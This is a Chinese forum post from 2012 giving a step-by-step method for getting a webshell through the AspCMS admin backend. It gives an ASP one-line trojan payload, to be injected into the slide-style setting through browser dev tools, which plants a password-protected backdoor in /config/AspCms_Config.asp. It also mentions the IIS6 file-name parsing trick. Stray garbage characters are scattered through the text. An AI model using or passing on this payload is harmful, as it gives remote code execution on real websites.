aspcms在老版本中可以通过添加模板直接添加asp.但是新版的aspcms中已经限制了添加模板的格式为html,js,css,当然如果是遇到iis6的话还是可以通过iis6的解析漏洞把文件名改成1.asp;.html这样的格式来拿到shell的.可是如果遇到iis7.5呢?以下是本人自己找到挖掘到的aspcms通杀版本的后台拿shell方法.( R1 `9 T/ k! A" F' _3 y' N2 w
1、进入后台，“扩展功能”--“幻灯片设置”--”幻灯样式”0 a$ |$ u- I6 K; B) _
8 j: ~# a/ p. M4 `. _* E: h
2 V8 |/ T2 y& o: B5 _
8 t) B" Y- w; [0 ]; n2、使用chorme的审查元素功能或者firefox的firebug，总之使用能修改当前页面元素的工具就好了。将对应的slidestyle的value的值修改为1%><%Eval(Request (chr(65)))%><%
8 R& Q( T3 L4 [0 h H$ \1 ? m3 P w. m2 P2 }
A1 t ?- q2 r' o1 J% E
3、一句话木马，密码a。在/config/AspCms_Config.asp
- A, N7 v. R4 V( {( b$ l$ T" W* q2 p0 `! }* [0 I
9 W5 P. E. U+ {: E9 c |
发表于 2012-11-9 20:55:05
收藏
支持
反对